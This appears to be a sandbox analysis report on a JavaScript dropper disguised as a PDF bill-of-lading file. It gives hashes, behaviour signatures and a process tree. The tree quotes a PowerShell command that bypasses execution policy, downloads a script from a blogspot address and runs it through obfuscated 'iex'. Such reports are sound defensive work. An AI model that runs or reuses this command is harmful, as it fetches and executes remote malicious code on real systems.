c32ca257ee0c260e7dfa276c8756ca9a50ea347de5e8b1b858dd5de0f85d763c

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
17-01-2024 13:40

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General

Target

BL#ACU240141 & Doc#HLCUBKK240124139.pdf .js
Size

1.4MB
MD5

286d534eb759c671fa9e79cfafd3bc85
SHA1

d165938c1c607618c5cb6d9d11cf5b371f007ac7
SHA256

77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b
SHA512

3b1ee1a647b623265ad7e90d786e61cafe6ca5e312676dafcc198763cf8efe3f479fb66b4aae9d1e7289ec5433055ab193ffd91abefc732e3d337d4fe987119b
SSDEEP

192:FQzfvQzrHHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHH3HHHHHHnHHHHHHf:efYzD

Score

7^/10

Malware Config

Signatures

Deletes itself 1 IoCs

Processes:

wscript.exe

pid process

2288 wscript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2208 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2208 powershell.exe

pid	process
2288	wscript.exe

pid	process
2208	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2208	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2288 wrote to memory of 2208	2288	wscript.exe	powershell.exe
PID 2288 wrote to memory of 2208	2288	wscript.exe	powershell.exe
PID 2288 wrote to memory of 2208	2288	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\BL#ACU240141 & Doc#HLCUBKK240124139.pdf .js"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2208-4-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2208-5-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download
memory/2208-10-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2208-9-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2208-8-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2208-7-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2208-11-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2208-6-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2208-12-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download